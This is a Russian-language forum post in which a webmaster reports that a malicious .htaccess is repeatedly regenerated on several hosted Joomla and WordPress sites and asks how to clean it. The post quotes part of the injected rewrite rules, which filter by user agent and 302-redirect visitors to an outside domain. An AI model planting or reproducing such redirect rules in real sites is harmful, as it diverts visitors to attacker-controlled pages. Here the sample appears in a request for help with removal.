Вирус на сайте переписывает .htaccess при каждом обращении к домену

На хостинге (nic.ru) расположено несколько сайтов. С недавнего времени стали появляться проблемы.

Заметил, что каждый сайт имеет в корне .htaccess, который непонятным образом генерируется, внезависимости от движка сайта, будь то, например Joomla на одном сайте, WP на другой.

Старые записи не удаляются, новые же записываются выше.

Код большой, начиная с:

RewriteEngine on

RewriteCond %{HTTP_USER_AGENT} acs [NC,OR]

RewriteCond %{HTTP_USER_AGENT} alav [NC,OR]

.....

RewriteCond %{HTTP_USER_AGENT} !webmoney [NC]

RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC]

RewriteRule ^(.*)$ http://operabwo.ru [L,R=302]

Итого около 140 строк.

Все перелазил, никак не пойму, как лечить.

На компе вирусов нет, пробовал работать как по ftp, так и по webftp клиенту от хостера.

В логах ничего подозрительного.